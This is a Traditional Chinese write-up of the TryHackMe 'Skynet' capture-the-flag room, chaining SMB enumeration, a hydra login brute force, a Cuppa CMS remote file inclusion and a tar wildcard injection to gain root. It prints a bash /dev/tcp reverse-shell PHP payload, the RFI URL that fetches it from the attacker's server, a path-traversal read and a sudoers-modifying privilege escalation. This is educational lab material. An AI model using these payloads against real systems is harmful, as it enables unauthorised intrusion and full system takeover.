5 min read

TryHackMe Skynet writeup (zh-TW)

TryHackMe Skynet writeup (zh-TW)

題目資訊

  • 平台: TryHackMe
  • 房間名稱: Skynet
  • 難度: Easy
  • 目標: 最終獲取 user.txt 和 root.txt,中間有很多有趣關卡
  • 主題: 終結者電影主題
  • 連結: https://tryhackme.com/room/skynet

發現服務

  • Port 22: SSH
  • Port 80: HTTP
  • Port 110: POP3
  • Port 139/445: SMB (Samba 4.3.11)
  • Port 143: IMAP

Step 1: SMB 枚舉

列舉 SMB shares,發現匿名存取:

smbclient -L //10.10.197.181
enum4linux 10.10.197.181

連接匿名 share:

smbclient //10.10.197.181/anonymous
smb: \> ls
smb: \> cd logs
smb: \> get log1.txt

重要發現:

  • log1.txt - 密碼清單
  • attention.txt - 提到使用者 milesdyson

Step 2: Web 目錄枚舉

掃描網站目錄:

gobuster dir -u http://10.10.197.181/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

發現 /squirrelmail 郵件系統登入頁面

Step 3: 破解 SquirrelMail

帳號使用使用者:milesdyson

使用找到的密碼清單log1.txt破解:

hydra -l milesdyson -P log1.txt 10.10.197.181 http-post-form \
"/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:incorrect"

成功登入後在郵件中發現 SMB 密碼:`)s{A&2Z=F^n_E.B``

Step 4: 存取個人 SMB Share

使用新密碼連接 milesdyson share:

smbclient //10.10.197.181/milesdyson -U milesdyson
# 密碼: )s{A&2Z=F^n_E.B`
smb: \> cd notes
smb: \> get important.txt

important.txt 內容揭露隱藏路徑:

1. Add features to beta CMS /45kra24zxs28v3yd

Step 5: 發現 Cuppa CMS

遞迴掃描隱藏路徑:

gobuster dir -u http://10.10.197.181/45kra24zxs28v3yd/ \
-w /usr/share/wordlists/dirb/common.txt

發現 /administrator - Cuppa CMS 登入介面

Step 6: 利用 RFI 漏洞

Cuppa CMS 存在遠端檔案包含漏洞:

└─$ searchsploit cuppa

Cuppa CMS - /alertConfigField.php' Local/Remote File Inclusion php/webapps/25971.txt

準備簡單 PHP shell:

echo '<?php system("bash -c \"bash -i >& /dev/tcp/你的tryhackmeIP/4444 0>&1\""); ?>' > shell.php
python3 -m http.server 8000

設置監聽器並觸發:

nc -lvnp 4444
# 在瀏覽器觸發 RFI
http://10.10.197.181/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://你的IP:8000/shell.php

成功取得 www-data shell

Step 7: 取得 User Flag

www-data@skynet:~$ cat /home/milesdyson/user.txt
<7ce5c2109aRedacted3600a9ae807>

Step 8: 發現提權向量

檢查 cronjob:

www-data@skynet:~$ cat /etc/crontab
*/1 * * * * root /home/milesdyson/backups/backup.sh

檢查 backup.sh:

www-data@skynet:~$ cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

發現使用 tar * - 存在 Injection 漏洞!

Step 9: Tar Wildcard Injection 提權

利用 tar 參數注入,修改 sudoers:

cd /var/www/html

# 創建惡意腳本
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh
chmod +x shell.sh

# 創建會被解釋為 tar 參數的檔案
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"

等待一分鐘後(cronjob 執行):

www-data@skynet:~$ sudo -l
# 確認有 NOPASSWD 權限
www-data@skynet:~$ sudo su
root@skynet:~# whoami
root

Step 10: 取得 Root Flag

root@skynet:~# cat /root/root.txt
3f0372db24Redacted82cd6a949

技術要點

  1. SMB 資訊洩露
    • Anonymous share 公開存取,洩露密碼清單
  2. 服務鏈式攻擊
    • SMB → SquirrelMail → Personal Share → 隱藏路徑
    • 每個服務都成為下一步的跳板
  3. Cuppa CMS RFI 漏洞
    • 未過濾的 urlConfig 參數允許包含遠端檔案
    • 可直接執行 PHP 代碼取得 shell

經驗分享

Tar Wildcard Injection 原理解釋

問題所在:

  1. 腳本使用 tar cf backup.tgz *
  2. * 會被 shell 展開成所有檔案名稱
  3. Tar 會把某些檔案名稱當作參數而非檔案!

攻擊原理:

當我們創建名為 --checkpoint=1 的檔案時:

bash

touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"

Shell 展開 * 後,命令變成:

bash

tar cf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [其他檔案...]

Tar 把 --checkpoint 開頭的檔案名稱當作命令參數

參數說明:

  • --checkpoint=1:每處理 1 個檔案就執行一次動作
  • --checkpoint-action=exec=sh shell.sh:執行 sh shell.sh 命令

所以這個提權的方法是利用了 shell 展開 * 的特性 + tar 把檔名當參數的行為

關於Step 1:

這一步會很理所當然的檢查SMB,但是作者一開始其實是先去研究SquirrelMail的漏洞,因為SquirrelMail也有一個經典的LFI漏洞,但是試過之後發現失敗,所以才從SMB下手

關於Step 6:

獲得RFI之後,其實這一步就可以先拿user flag了,可以試試看,既然已經知道user flag的位置,看看要怎麼用RFI拿到旗子,下面查看解答

http://10.201.125.91/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../home/milesdyson/user.txt

關於Step 8:

提權的方法,有很多種,不過這邊分享一下,除了直接用linpeas.sh爆破之外,筆者見過的幾個方法,

1. SUID/SGID 二進制檔案

# 尋找 SUID 檔案
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# 尋找 SGID 檔案  
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# 同時找 SUID 和 SGID
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

2. Sudo 權限配置

# 檢查當前用戶的 sudo 權限
sudo -l

# 查看 sudoers 檔案(如果有權限)
cat /etc/sudoers
ls -la /etc/sudoers.d/

3. 計劃任務(Cron Jobs),如本題

# 系統層級
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*

4. 可寫入的重要檔案/目錄

5. 核心與系統資訊

6. 敏感資訊搜尋

# 設定檔中的密碼
# SSH 私鑰
# 資料庫設定